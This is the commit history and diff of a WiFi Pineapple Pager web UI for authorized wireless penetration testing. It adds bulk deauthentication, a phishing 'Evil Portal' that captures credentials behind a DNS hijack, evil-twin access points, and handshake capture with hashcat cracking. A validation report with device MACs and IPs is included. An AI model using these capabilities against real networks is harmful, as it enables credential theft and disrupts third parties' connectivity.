7 Commits
Author SHA1 Message Date
c4ch3c4d3 18bd6e3f9a feat(webui,dashboard): add RAM Usage card between Disk Usage and Uptime, live-verified on Pager 2026-08-24 18:12:32 -06:00
c4ch3c4d3 e683691a53 docs: spec for dashboard RAM usage card 2026-08-24 10:00:44 -06:00
c4ch3c4d3 ab92e7d278 feat(webui,evilportal): move Evil Portal tab under PineAP, live-verified on Pager 2026-08-24 09:12:55 -06:00
c4ch3c4d3 0f31bfe885 fix(portals,capture): round-2 validation fixes, live-verified on Pager
- portals: replace zipfile with struct+zlib ZIP writer in portal download
  (python3-light has no zipfile; GET /api/portals/<name>/download 500ed)
- capture: revive watchdog re-arms the 5 GHz deploy auto-capture if the
  post-deploy radio settle kills it (was: empty pcap, dead tcpdump)
- capture: route GET /api/attacks/capture to status (was unrouted -> 404)

New tests/test_validation_fixes2.py covers each fix (TDD); full suite
(30 modules) green. Live-verified: download CRC-clean via stock zipfile,
capture survived settle window and revived automatically (56 MB pcap),
GET status returns proper JSON.

Round-2 validation report added at docs/validation/ (8/9 attack types
PASS against in-scope networks; enterprise PARTIAL per firmware limits).
2026-08-24 08:23:26 -06:00
c4ch3c4d3 d23ea56364 fix(portals,dns,radio1,capture): live-validation fixes, verified on Pager 24.10.1
- portals: replace zipfile with struct+zlib ZIP reader (python3-light has
  no urllib; import endpoint was dead on device)
- dns hijack: uci add_list/del_list for dhcp.@dnsmasq[0].address (list
  option; plain set was silently dropped from generated dnsmasq config)
- radio1: bridge attack APs into br-lan via network.brlan.ports so
  victims get DHCP/portal reach; wlan1ent runtime-bridged after hostapd
  verify (retry loop may recreate the iface)
- capture: auto-start pinned wlan1mon pcap on 5GHz WPA deploy, teardown
  on stop; loot flows via hc22000 export (crack-verified end-to-end)
- enterprise: pineapd restart after ctrl link + re-assert PineAPE toggles

Documented residual: pineapd refuses forwarding from foreign hostapd
instances (broken pipe), and daemon set_ap rejects radio1 names - so
hostap_handshake rows for radio1 twins and enterprise cred tables cannot
populate without a Hak5 firmware change.

New tests/test_validation_fixes.py covers each fix (TDD); full suite
(29 modules) green.
2026-08-23 21:44:21 -06:00
c4ch3c4d3 88d7141d45 feat(deauth,evilportal,capture): bulk deauth UX, Hak5-compatible Evil Portal, monitor capture fixes
- Recon AP focus sidebar: 'Deauth All Clients' with engagement-scope confirm
- Deauth Targeting card: 'Deauth All' behind the same scope confirmation
- New POST /api/attacks/deauth/bulk (max 32 targets, per-target results)
- Evil Portal tab: import EvilPortalNano-format portal zips into
  /mmc/mk8/portals, serve active portal on port 80 to unauthenticated
  clients via a minimal PHP shim, capture all form POSTs (.logs in stock
  MyPortal.php format + captures.jsonl), dnsmasq address=/#/ DNS hijack
- OpenAP: Evil Portal template dropdown (greyed when none), activated with
  the attack and stopped with it
- Monitor Capture fix: iface-less status now reports whichever monitor is
  actually capturing; pcap dir mkdir'd; tcpdump stderr surfaced instead of
  discarded
2026-08-23 19:50:41 -06:00
c4ch3c4d3 f9eccd8030 docs: spec for deauth UX, evil portal tab, monitor capture fixes 2026-08-23 19:30:13 -06:00
14 changed files with 2399 additions and 51 deletions
+1
View File
@@ -6,3 +6,4 @@ __pycache__/
.openchamber/ .openchamber/
.opencode/ .opencode/
evidence/
+31 -1
View File
@@ -6,7 +6,9 @@ A Mark VII-style web management UI that runs **on the WiFi Pineapple Pager** at
Features: Dashboard (live), PineAP (settings, SSID pool, filters, clients/kick), Features: Dashboard (live), PineAP (settings, SSID pool, filters, clients/kick),
Recon (scans from `recon.db`), Handshakes/Loot, Payloads (embedded stock Pager Recon (scans from `recon.db`), Handshakes/Loot, Payloads (embedded stock Pager
Portal), Logs, Settings (hostname/NTP/password/prefs), and a bottom-docked xterm Portal), Logs, Settings (hostname/NTP/password/prefs), and a bottom-docked xterm
terminal. terminal. Recon AP focus offers bulk deauth; an Evil Portal tab imports Hak5
EvilPortalNano-format portals (`kleo/evilportals` compatible), serves them to
victims via DNS hijack on port 80, and captures form credentials.
- Rogue AP on the second radio (5GHz / 6GHz Wi-Fi 6E): Open AP and Evil WPA - Rogue AP on the second radio (5GHz / 6GHz Wi-Fi 6E): Open AP and Evil WPA
(WPA2-PSK/WPA3-SAE/WPA3-OWE) on `radio1`, band-aware channel pickers, (WPA2-PSK/WPA3-SAE/WPA3-OWE) on `radio1`, band-aware channel pickers,
@@ -167,6 +169,34 @@ zero crashes over sustained watches):
`GET /api/health` reports pineapd/monitor state; the top bar shows a `GET /api/health` reports pineapd/monitor state; the top bar shows a
PINEAP OK / POOL OFF / PINEAPD DOWN chip. PINEAP OK / POOL OFF / PINEAPD DOWN chip.
### Live validation findings (v1.4.x, Pager 24.10.1)
Fixed after an on-hardware attack validation pass:
1. **Evil Portal import** no longer uses `zipfile` (pulls
`pathlib → urllib`, absent from python3-light). A minimal
`struct`+`zlib` ZIP reader handles stored/deflate entries.
2. **Portal DNS hijack** now uses `uci add_list/del_list`
(`dhcp.@dnsmasq[0].address` is a list option; a plain `uci set` was
silently dropped from the generated dnsmasq config).
3. **5 GHz attack APs are bridged** into `br-lan`
(`network.brlan.ports`) so victims get DHCP/portal reach; the
standalone enterprise AP (`wlan1ent`) is runtime-bridged after its
hostapd instance verifies ENABLED (the retry loop may recreate it).
4. **5 GHz WPA deploys auto-start a pinned `wlan1mon` capture** and the
matching stop tears it down: loot flows via pcap → `.hc22000` export
instead of the dead daemon path below.
Residual firmware limitation (not fixable in-process): pineapd refuses
handshake/PineAPE forwarding from hostapd instances it did not provision
itself (`PINEAP: could not send ... Broken pipe`), and the stock daemon's
`set_ap` rejects radio1 interface names ("Invalid access point
interface"). Consequences: `hostap_handshake` rows never populate for
radio1 evil twins (use the auto-capture + `.hc22000` export, which is
crack-verified end-to-end), and enterprise credentials never reach
`hostap_basic`/`hostap_chalresp` even though the AP terminates
PEAP/MSCHAPv2 successfully. Fixing these requires a Hak5 pineapd change.
## Security notes ## Security notes
- Auth via device password validated against the daemon; HttpOnly session - Auth via device password validated against the daemon; HttpOnly session
@@ -0,0 +1,59 @@
# Dashboard RAM Usage Card — Design Record
- **Date:** 2026-08-24
- **Status:** Approved (design review), implementation pending
- **Scope:** Mark VIII WebUI dashboard — add a RAM Usage status card between
Disk Usage and Uptime, showing memory used / total in the same format as the
Disk Usage card.
## 1. Goal
The dashboard (`/` → Dashboard) currently shows status cards for Clients
Connected, Handshakes Captured, Disk Usage, and Uptime. Add a RAM Usage card
positioned after Disk Usage and before Uptime, displaying `used / total` (e.g.
`120 MB / 256 MB`) to match the Disk Usage card's presentation. The Pager is a
`ramips/mt76x8` device with 256 MB RAM.
## 2. Data source
The device's memory stats come from `/proc/meminfo` (available locally, since
the webui server runs on the Pager):
- `MemTotal` — total RAM in kB
- `MemAvailable` — available RAM in kB (falls back to `MemFree`)
`used = MemTotal - MemAvailable`, matching how `free` reports usage on OpenWRT.
The health check already parses this file via `_mem_percent()` (`server.py`)
but only exposes a percentage. The status endpoint has no memory field today.
## 3. Changes
### Backend — `payload/user/remote_access/pager-webui/server.py`
- Add `mem_data()`: parse `/proc/meminfo`, return
`{'size': total_bytes, 'used': used_bytes, 'avail': avail_bytes}` — the same
shape as `disk_data()` (which returns `{size, used, avail}` in bytes).
Return `{}` on parse failure, consistent with `disk_data()`.
- Wire into `status_data()` as `'mem': mem_data()`.
### Frontend — `payload/user/remote_access/pager-webui/www/js/views.js`
- Add `['mem', 'RAM Usage']` to the card `defs` array between
`['disk', 'Disk Usage']` and `['uptime', 'Uptime']` (dashboard view).
- In the status `update()` handler, render
`fmtBytes(s.mem.used) + ' / ' + fmtBytes(s.mem.size)`; on missing data show
`Unavailable`; in the initial-load catch path set `—`, mirroring the disk
card's error handling.
### Tests — `tests/test_status.py`
- Add `mem_data()` parse test using a temp fake `/proc/meminfo` file
(the function takes an optional path argument, like `battery_data(base)`).
- Add `mem` to the `h_status` payload-shape key assertion.
## 4. Non-goals
- No memory graph/history — the Clients chart stays as is.
- No RAM percentage formatting on the card.
- No changes to the `/api/health` `mem_percent` metric.
@@ -0,0 +1,116 @@
# Mark VIII — Deauth UX, Evil Portal, Monitor Capture Fixes
Date: 2026-08-23
Status: approved (user confirmed design in session)
## Goals
1. Make deauth obvious: "Deauth All Clients" from Recon's AP focus sidebar, "Deauth All"
on the Deauth Targeting card — both gated by an engagement-scope confirmation.
2. New top-level **Evil Portal** tab compatible with Hak5 EvilPortalNano portals
(kleo/evilportals layout): import zips, serve pages to victims, capture credentials,
DNS-hijack delivery.
3. OpenAP gains an "Evil Portal" card: dropdown of imported templates, greyed out when
none exist; activating an OpenAP with a template selected starts the portal.
4. Fix Monitor Capture never appearing to work.
## Non-goals
- No PHP interpreter; the backend shims only the trivial PHP patterns stock portals use.
- No TLS interception (HTTPS requests are not redirected).
- `.enable`/`.disable` portal scripts are stored but **not executed** (divergence from
stock EvilPortalNano, documented here deliberately).
## 1. Bulk deauth endpoint
`POST /api/attacks/deauth/bulk` body `{targets: [{bssid, client, channel?}, ...]}`
(max 32). Shared helper `_deauth_one(bssid, client, channel)` extracted from
`h_attacks_deauth`; per-target results returned `{results: [...], sent, failed}`.
Uses the existing band→inject-iface logic and `PINEAPPLE_DEAUTH_CLIENT`.
### Recon sidebar
In `renderFocus()` (www/js/views.js), when the focused AP has confirmed clients, add a
danger button **"Deauth All Clients"**. Clicking shows
`confirm("Deauthenticate N client(s) of <SSID>? Confirm this target is IN SCOPE for your engagement.")`,
then posts one bulk call.
### Deauth Targeting card
`deauthPanel()` gains a danger **"Deauth All"** button that bulk-deauths every device in
the current result list against the selected AP, behind the same scope confirmation.
## 2. Evil Portal
### Storage & import
- Root: `/mmc/mk8/portals/<name>/` (`[A-Za-z0-9._-]{1,64}` names, mk8_profiles rules).
- `POST /api/portals/import` `{data: <base64 zip>}` (≤10 MB decoded). Zip-slip guarded
(reject absolute paths and `..`). If every entry shares a single top-level directory,
that directory becomes the portal root. `index.php` must exist at the root.
- Other endpoints: `GET /api/portals`, `DELETE /api/portals/{name}`,
`POST /api/portals/{name}/activate|deactivate`, `GET /api/portals/captures`,
`DELETE /api/portals/captures`, `GET /api/portals/{name}/logs` (Download),
`GET /api/portals/{name}/download` (zip of the portal folder).
### Serving engine (port 80)
Second listener thread in server.py, own connection handler (no auth, no same-origin —
victims are unauthenticated). Admin UI on :8080 untouched.
- **GET anything** → active portal:
- Path resolves inside the portal dir (`_safe_join`); missing paths fall back to
`index.php`; asset files served raw with the standard mime map.
- `index.php` rendered through the PHP shim.
- **PHP shim**: replaces `getClientMac($_SERVER['REMOTE_ADDR'])` /
`getClientHostName(...)` with values resolved from DHCP leases for the requester IP,
`$_SERVER['REMOTE_ADDR']` with the requester IP, `$destination` with the request URL;
strips all other `<?php ... ?>` / `<?= ... ?>` blocks.
- **POST anything** → credential capture: parse urlencoded fields, enrich with client
ip/mac/hostname, append:
- `<portal>/.logs` in the exact MyPortal.php text format (stock-tool compatible), and
- `/mmc/mk8/portals/captures.jsonl` (one JSON object per line) for the UI.
Response: simple authorization-success HTML page.
### Delivery: DNS hijack
Activation writes `dhcp.@dnsmasq[0].address='/#/<lan-ip>'` (UCI), commits, restarts
dnsmasq; deactivation deletes the option and restarts. LAN IP discovered via
`ip -4 addr show br-lan` (env-overridable `PAGER_LAN_IFACE`, fallback 172.16.52.1).
Active portal name persists at `/mmc/mk8/portals/.active`; on service start the hijack
is re-applied best-effort if a portal was left active.
### Tab UI
Rail entry + route `#/evilportal` + `views.evilportal`: Active Portal status card,
Templates card (list with Activate/Stop/Delete/Download, Import via zip file input →
base64), Captured Credentials table (time, portal, fields) with Clear and Download.
## 3. OpenAP Evil Portal card
`attackLauncher('open', {..., portal: true})`: card with a template `<select>`
(populated from `GET /api/portals`), disabled with hint text when no templates exist.
Deploy body carries `portal: <name>`; `h_attacks_deploy` activates it after a successful
open-AP deploy; `h_attacks_stop` for kind `open` deactivates any active portal. Status
card shows the active binding.
## 4. Monitor Capture fix
Root cause: `views.js:1314` polls `/api/attacks/capture {action:'status'}` without
`iface`; the backend defaults to `wlan0mon`, so a live `wlan1mon` capture flips back to
"Not capturing" within one 5 s poll.
- Backend `status` with no `iface`: evaluates both pidfiles and reports whichever
capture is actually running (else the default). Start failures now `mkdir -p` the pcap
dir first and tee tcpdump stderr to `/tmp/mk8_capture_<iface>.log`, surfaced in the
502 detail.
- Frontend: when a status/start response reports a running capture, adopt its iface for
subsequent Stop clicks.
## Testing
- New `tests/test_portals.py`: import validation (bad name, zip-slip, oversize, missing
index.php, nested top-dir flattening), PHP shim substitutions, capture log formats.
- Extend `tests/test_attacks.py`: bulk deauth validation/looping (mocked device_run),
capture status dual-iface resolution.
- Existing suite must stay green (run per-file as documented in README).
@@ -0,0 +1,85 @@
# Mark-VIII PineAP Attack Validation — Round 2 (post-fix), 2026-08-23
Full live re-validation of every PineAP attack type exposed by Mark VIII, executed after the
fix round in commit `d23ea56`. All attacks were run against authorized, in-scope networks only.
## Environment
| Role | Host | Identity |
|---|---|---|
| Attack platform | WiFi Pineapple Pager 24.10.1, `root@172.16.52.1`, Mark VIII `:8080` | radio0 MAC base `00:13:37:ae:e0:50`, radio1 `00:13:37:ae:8e:7c` |
| Victim client | Kali Linux, `bzuccaro@192.168.1.103`, wlan0 `a0:a4:c5:93:f8:05` | NetworkManager + standalone wpa_supplicant |
| In-scope targets | `Znet` (WPA2/WPA3-SAE-mixed, 5GHz ch36/44/48/…; PSK provided) and `Znet-Open` (open, 2.4GHz ch6 `B6:8B:A9:17:2A:6E`, ch11 `B6:8B:A9:17:47:33`) | recon.db fresh scans confirmed both |
Pre-flight: `/api/health` env `pass` (pineapd alive, both monitors up, recon readable).
## Results summary
| # | Attack / capability | Endpoint(s) | Result | Proof captured |
|---|---|---|---|---|
| 1 | Recon | recon.db / scan history | **PASS** | Both SSIDs present with fresh timestamps, correct BSSIDs/channels/crypto |
| 2 | Evil Open twin + Evil Portal credential capture | `POST /api/attacks/deploy kind=open` + portals API | **PASS** | Victim associated to spoofed-BSSID twin (`172.16.52.123`); DNS hijack resolved arbitrary domain → `172.16.52.1`; portal served on :80; POSTed creds recorded with MAC/hostname/IP (`evidence/r2_t1_portal_captures.json`) |
| 3 | Karma association | (implicit) | **PASS** | Real third-party client `48:e1:e9:4d:98:8a` associated to Znet-Open twin unprompted; later handshakes from `68:9e:19:d1:6e:e1` / `e6:75:7f:45:fd:57` on the WPA twin across multiple probed SSIDs |
| 4 | Filters auto-config post-deploy | `GET /api/pineap/filters/{ssid,client}` | **PASS** (BUG 2 fix verified) | After deploy both filters read `deny` + empty with no manual help — twins accept clients unaided |
| 5 | Single deauth via API | `POST /api/attacks/deauth` | **PASS** (BUG 1 fix verified) | `ok:true, inject:wlan0mon`; pcap holds **556 deauth frames** incl. directed SA=twin-BSSID → DA=victim (`evidence/r2_t2_deauth.cap`); victim dropped (NM re-associated sub-second) |
| 6 | Client kick | `POST /api/pineap/clients/kick` | **PASS** | Deny filter added for victim MAC; victim flapped DISCONNECTED/CONNECTED and could not hold association until filter cleared |
| 7 | Evil WPA twin 5GHz + handshake capture | `deploy kind=wpa` + `attacks/capture` | **PASS** | Twin live ch44 (`02:13:37:ae:8e:7c`); full EAPOL 4-way from victim captured on pinned `wlan1mon`; export produced 18-row `.hc22000` incl. victim AND real-client handshakes |
| 8 | hc22000 export → crack | `GET /api/attacks/export/hc22000` + hashcat -m 22000 (Kali) | **PASS** | PSK recovered for victim (`021337ae8e7c:a0a4c593f805:Znet`) and real client (`…:e6757f45fd57:Znet`) = exact known PSK (`evidence/r2_t4_cracked.txt`) |
| 9 | Bulk deauth | `POST /api/attacks/deauth/bulk` | **PASS** | 3-target batch: 2 valid sent (`sent:2`), malformed target rejected per-index without aborting batch; victim dropped on-air |
| 10 | Evil Enterprise PEAP/MSCHAPv2 | `deploy kind=enterprise` | **PARTIAL** | AP verified + ctrl-linked + runtime-bridged; client associates; TLS tunnel up; server issues inner MSCHAPv2 success for `victim@znet.local`. BUT wpa_supplicant rejects the karma wpad's success request ("Invalid authenticator response") so no full CONNECTED; `hostap_basic`/`hostap_chalresp` remain empty (known firmware residual). See §T6 |
| 11 | Post-suite hygiene | — | **PASS** | All attacks stopped, zero leftover APs/tcpdump/watchdog churn, health env `pass`, victim restored to real `Znet` (`18:e8:29:b5:a4:2c`) |
## New defects found this round
### D1 — MEDIUM: portal download endpoint crashes on device
`h_portal_download` (`server.py:5395`) imports `zipfile`, which python3-light does not ship
(the import endpoint was converted to struct+zlib in d23ea56 but download was missed):
`GET /api/portals/<name>/download``{"error": "No module named 'urllib'"}`.
Fix: reuse the minimal ZIP writer approach or stream raw files.
### D2 — MEDIUM: deploy-time auto-capture produces an empty pcap
The 5GHz WPA deploy reported `"capture": true` but the auto-started `wlan1mon` capture died
during AP bring-up (file stayed at the 24-byte header; no tcpdump process left). A capture
started *after* the AP is up works fine (frames flow, monitor inherits phy channel context).
Fix: arm the auto-capture after hostapd verify-loop completes, and/or have `_capture_state`
detect-and-restart the dead pid (ISSUE 7 stale logic exists but did not fire here).
Also: `h_attacks_capture` silently ignores a `channel` body param — either honor it or reject it.
### D3 — LOW/cosmetic: `GET /api/attacks/capture` with no active capture returns 404
`{"error":"not found"}` instead of `{running:false,...}` — UI-hostile shape.
## T6 detail (Enterprise PARTIAL)
Repro: deploy `kind=enterprise ssid=Znet enctype=wpa2 channel=44 passphrase=VictimPass123!`
`verified:true, ctrl_linked:true`. Victim (standalone wpa_supplicant, MAC randomization off):
- Association OK; outer PEAP TLS tunnel completes (`CTRL-EVENT-EAP-PROPOSED-METHOD method=25`)
- Inner MSCHAPv2 exchange runs; client logs `EAP-MSCHAPV2: Received success` — i.e. the
standalone hostapd accepted the inner credentials (BUG 3 eap_users grammar fix works)
- But every attempt then logs `EAP-MSCHAPV2: Invalid authenticator response in success request`
→ supplicant refuses, disconnects, retries forever. Same result with matched and mismatched
passwords (server auto-accepts but its AuthResp never verifies) — consistent with the karma-
patched wpad issuing success without computing it from the stored secret.
- TTLS/PAP could not be differentiated this round (client-side sed failure meant PEAP ran;
association-level flapping prevented a clean second attempt).
- `hostap_basic` / `hostap_chalresp`: still empty (documented firmware residual — pineapd does
not forward from foreign hostapd instances). Enterprise client list DOES record associations.
Net: enterprise twin captures inner-auth material server-side only as far as hostapd's own
logs; portable credential loot remains impossible on 24.10.1 without a Hak5 pineapd change.
## Evidence index (`evidence/r2_*`)
| File | Content |
|---|---|
| `r2_t1_portal_captures.json` | Captured portal credentials (user/pass, victim MAC/hostname/IP) |
| `r2_t2_deauth.cap` | wlan0mon pcap, 556 deauth frames (directed at victim) |
| `r2_t2_deauth.json`, `r2_t2_kick.json` | API responses proving deauth/kick ok:true |
| `r2_t3_deploy_wpa.json` | WPA twin deploy response (`capture:true`, `verified:true`) |
| `r2_t3_hc_export.json`, `r2_handshakes.hc22000` | Exported 18 handshake hashes |
| `r2_t4_cracked.txt` | hashcat --show output recovering the true PSK (victim + real client) |
| `r2_t5_bulk.json` | Bulk deauth batch results (2 sent / 1 rejected) |
| `r2_t6_deploy_ent.json` | Enterprise deploy response |
Copies of key artifacts also live on-device (`/root/loot/**`) and on Kali (`/tmp/r2.hc22000`,
removed wordlist).
File diff suppressed because it is too large Load Diff
@@ -420,6 +420,7 @@ const App = (() => {
'#/recon': 'recon', '#/recon': 'recon',
'#/recon/reports': 'recon_reports', '#/recon/reports': 'recon_reports',
'#/recon/handshakes': 'recon_handshakes', '#/recon/handshakes': 'recon_handshakes',
'#/pineap/evilportal': 'pineap_evilportal',
'#/logging': 'logging', '#/logging': 'logging',
'#/logging/system': 'logging_system', '#/logging/system': 'logging_system',
'#/modules': 'modules', '#/modules': 'modules',
@@ -39,5 +39,6 @@ window.PineappleIcons = {
record: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2A10,10 0 0,0 2,12A10,10 0 0,0 12,22A10,10 0 0,0 22,12A10,10 0 0,0 12,2Z"/></svg>', record: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2A10,10 0 0,0 2,12A10,10 0 0,0 12,22A10,10 0 0,0 22,12A10,10 0 0,0 12,2Z"/></svg>',
place: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2A7,7 0 0,0 5,9C5,14.25 12,22 12,22C12,22 19,14.25 19,9A7,7 0 0,0 12,2M12,11.5A2.5,2.5 0 0,1 9.5,9A2.5,2.5 0 0,1 12,6.5A2.5,2.5 0 0,1 14.5,9A2.5,2.5 0 0,1 12,11.5Z"/></svg>', place: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2A7,7 0 0,0 5,9C5,14.25 12,22 12,22C12,22 19,14.25 19,9A7,7 0 0,0 12,2M12,11.5A2.5,2.5 0 0,1 9.5,9A2.5,2.5 0 0,1 12,6.5A2.5,2.5 0 0,1 14.5,9A2.5,2.5 0 0,1 12,11.5Z"/></svg>',
play_arrow: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M8,5.14V19.14L19,12.14L8,5.14Z"/></svg>', play_arrow: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M8,5.14V19.14L19,12.14L8,5.14Z"/></svg>',
stop: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M18,18H6V6H18V18Z"/></svg>' stop: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M18,18H6V6H18V18Z"/></svg>',
portal: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2A10,10 0 0,0 2,12C2,16.42 4.87,20.17 8.84,21.5C9.32,21.58 9.5,21.29 9.5,21.05C9.5,20.83 9.49,20.1 9.49,19.33C7,19.79 6.41,17.82 6.41,17.82C5.97,16.68 5.33,16.39 5.33,16.39C4.45,15.79 5.39,15.8 5.39,15.8C6.36,15.87 6.86,16.79 6.86,16.79C7.73,18.27 9.15,17.84 9.71,17.59C9.8,16.97 10.05,16.54 10.32,16.3C8.14,16.06 5.85,15.22 5.85,11.44C5.85,10.37 6.23,9.5 6.85,8.81C6.75,8.57 6.41,7.57 6.95,6.22C6.95,6.22 7.78,5.96 9.49,7.11C10.29,6.89 11.13,6.78 11.97,6.78C12.81,6.78 13.65,6.89 14.45,7.11C16.16,5.96 16.99,6.22 16.99,6.22C17.53,7.57 17.19,8.57 17.09,8.81C17.71,9.5 18.09,10.37 18.09,11.44C18.09,15.23 15.8,16.06 13.61,16.3C13.96,16.6 14.27,17.19 14.27,18.1C14.27,19.4 14.26,20.45 14.26,20.77C14.26,21.03 14.44,21.32 14.92,21.23C18.89,19.93 22,16.42 22,12A10,10 0 0,0 12,2Z"/></svg>'
}; };
@@ -192,7 +192,7 @@ views.dashboard = (root) => {
root.appendChild(grid); root.appendChild(grid);
const defs = [ const defs = [
['clients', 'Clients Connected'], ['handshakes', 'Handshakes Captured'], ['clients', 'Clients Connected'], ['handshakes', 'Handshakes Captured'],
['disk', 'Disk Usage'], ['uptime', 'Uptime'] ['disk', 'Disk Usage'], ['mem', 'RAM Usage'], ['uptime', 'Uptime']
]; ];
const cards = {}; const cards = {};
defs.forEach(([k, label]) => { defs.forEach(([k, label]) => {
@@ -318,6 +318,8 @@ views.dashboard = (root) => {
cards.uptime.textContent = s.uptime == null ? 'Unavailable' : fmtDur(s.uptime); cards.uptime.textContent = s.uptime == null ? 'Unavailable' : fmtDur(s.uptime);
cards.disk.textContent = s.disk && s.disk.size != null cards.disk.textContent = s.disk && s.disk.size != null
? fmtBytes(s.disk.used) + ' / ' + fmtBytes(s.disk.size) : 'Unavailable'; ? fmtBytes(s.disk.used) + ' / ' + fmtBytes(s.disk.size) : 'Unavailable';
cards.mem.textContent = s.mem && s.mem.size != null
? fmtBytes(s.mem.used) + ' / ' + fmtBytes(s.mem.size) : 'Unavailable';
if (typeof MiniChart !== 'undefined') { if (typeof MiniChart !== 'undefined') {
MiniChart.draw(canvas, [ MiniChart.draw(canvas, [
{ label: 'Clients', color: '#1976d2', points: history.clients } { label: 'Clients', color: '#1976d2', points: history.clients }
@@ -329,6 +331,7 @@ views.dashboard = (root) => {
.catch(() => { .catch(() => {
cards.clients.textContent = '0'; cards.clients.textContent = '0';
cards.disk.textContent = '—'; cards.disk.textContent = '—';
cards.mem.textContent = '—';
cards.uptime.textContent = '—'; cards.uptime.textContent = '—';
}); });
PagerAPI.get('/api/pineap/handshakes').then((r) => { PagerAPI.get('/api/pineap/handshakes').then((r) => {
@@ -382,6 +385,7 @@ const PINEAP_TABS = [
{ label: 'OpenAP', hash: '#/pineap/open' }, { label: 'OpenAP', hash: '#/pineap/open' },
{ label: 'Evil WPA', hash: '#/pineap/evilwpa' }, { label: 'Evil WPA', hash: '#/pineap/evilwpa' },
{ label: 'Evil Enterprise', hash: '#/pineap/enterprise' }, { label: 'Evil Enterprise', hash: '#/pineap/enterprise' },
{ label: 'Evil Portal', hash: '#/pineap/evilportal' },
{ label: 'Impersonation', hash: '#/pineap/impersonation' }, { label: 'Impersonation', hash: '#/pineap/impersonation' },
{ label: 'Clients', hash: '#/pineap/clients' }, { label: 'Clients', hash: '#/pineap/clients' },
{ label: 'Filtering', hash: '#/pineap/filtering' } { label: 'Filtering', hash: '#/pineap/filtering' }
@@ -684,6 +688,7 @@ views.pineap_open = attackLauncher('open', {
title: 'OpenAP', title: 'OpenAP',
bssid: true, bssid: true,
country: true, country: true,
portal: true,
tabHash: '#/pineap/open' tabHash: '#/pineap/open'
}); });
@@ -1186,6 +1191,9 @@ function attackLauncher(kind, opts) {
text: 'Prefilled from Recon (' + (prefill.source || 'target') + '). Set the passphrase, verify the settings, then Deploy.' })); text: 'Prefilled from Recon (' + (prefill.source || 'target') + '). Set the passphrase, verify the settings, then Deploy.' }));
} }
let portalSel = null;
if (opts.portal) portalSel = h('select', { id: 'atk-portal' });
f.appendChild(h('div', { class: 'row', style: 'margin-top:10px' }, f.appendChild(h('div', { class: 'row', style: 'margin-top:10px' },
h('div', {}, (function () { h('div', {}, (function () {
const deployBtn = btn('Deploy Attack', () => { const deployBtn = btn('Deploy Attack', () => {
@@ -1197,6 +1205,7 @@ function attackLauncher(kind, opts) {
if (pskIn) { body.passphrase = pskIn.value; body.enctype = encSel.value; } if (pskIn) { body.passphrase = pskIn.value; body.enctype = encSel.value; }
if (bssidIn) body.bssid = bssidIn.value.trim(); if (bssidIn) body.bssid = bssidIn.value.trim();
if (coSel) body.country = coSel.value; if (coSel) body.country = coSel.value;
if (portalSel) body.portal = portalSel.value || '';
runAction(deployBtn, () => PagerAPI.post('/api/attacks/deploy', body) runAction(deployBtn, () => PagerAPI.post('/api/attacks/deploy', body)
.then((r) => { verifiedToast(r.data || {}); load(); }), 'Deploying…'); .then((r) => { verifiedToast(r.data || {}); load(); }), 'Deploying…');
}); });
@@ -1215,6 +1224,34 @@ function attackLauncher(kind, opts) {
const status = attackStatusCard(); const status = attackStatusCard();
box.appendChild(status.card); box.appendChild(status.card);
if (opts.portal) {
const pCard = h('div', { class: 'pineap-title-card' });
pCard.appendChild(h('div', { class: 'pineap-card-title' }, 'Evil Portal'));
const pBody = h('div', { style: 'font-size:13px' });
pCard.appendChild(pBody);
box.appendChild(pCard);
PagerAPI.get('/api/portals').then((r) => {
const d = r.data || {};
const portals = d.portals || [];
portalSel.innerHTML = '';
if (!portals.length) {
portalSel.disabled = true;
portalSel.appendChild(h('option', { value: '', text: 'No portal templates imported' }));
pBody.appendChild(h('label', {}, 'Portal template', portalSel));
pBody.appendChild(h('div', { class: 'muted', style: 'font-size:12px;margin-top:4px',
text: 'Import a Hak5-format portal zip in the Evil Portal tab to enable credential capture.' }));
return;
}
portalSel.appendChild(h('option', { value: '', text: 'None' }));
portals.forEach((p) => portalSel.appendChild(
h('option', { value: p.name, text: p.name + (p.name === d.active ? ' (active)' : '') })));
if (d.active && portals.some((p) => p.name === d.active)) portalSel.value = d.active;
pBody.appendChild(h('label', {}, 'Portal template', portalSel));
pBody.appendChild(h('div', { class: 'muted', style: 'font-size:12px;margin-top:4px',
text: 'The selected portal is activated when this attack deploys and stopped with it.' }));
}).catch(() => {});
}
const hsBox = h('div', {}); const hsBox = h('div', {});
const captureBox = h('div', { class: 'pineap-title-card' }); const captureBox = h('div', { class: 'pineap-title-card' });
captureBox.appendChild(h('div', { class: 'pineap-card-title' }, 'Monitor Capture')); captureBox.appendChild(h('div', { class: 'pineap-card-title' }, 'Monitor Capture'));
@@ -1226,6 +1263,9 @@ function attackLauncher(kind, opts) {
function capRow(st) { function capRow(st) {
capBody.innerHTML = ''; capBody.innerHTML = '';
const run = !!(st && st.running); const run = !!(st && st.running);
// Adopt the iface the backend reports as actually capturing: the
// status poll may target a different monitor than the form default.
if (run && st.iface) capIface = st.iface;
capBody.appendChild(h('div', { class: 'row' }, capBody.appendChild(h('div', { class: 'row' },
h('span', { text: run ? ('Capturing on ' + (st.iface || capIface)) : 'Not capturing' }), h('span', { text: run ? ('Capturing on ' + (st.iface || capIface)) : 'Not capturing' }),
h('div', {}, (function () { h('div', {}, (function () {
@@ -1384,6 +1424,24 @@ function deauthPanel(ssidRef) {
const apSel = h('select', {}); const apSel = h('select', {});
const clTable = h('div', {}); const clTable = h('div', {});
let lastLookup = ''; let lastLookup = '';
let lastClients = [];
const deauthAllBtn = btn('Deauth All', () => {
const parts = apSel.value.split('|');
if (!lastClients.length) { App.toast('No devices to deauth — run Find first', 'error'); return; }
if (!parts[0]) { App.toast('Pick an AP first', 'error'); return; }
if (!window.confirm('Deauthenticate ALL ' + lastClients.length +
' listed device(s) against ' + parts[0] + '?\n\nConfirm this target is IN SCOPE for your engagement.')) return;
runAction(deauthAllBtn, () => PagerAPI.post('/api/attacks/deauth/bulk', {
targets: lastClients.map((mac) => ({
bssid: parts[0], client: mac,
channel: parseInt(parts[1], 10) || null
}))
}).then((r) => {
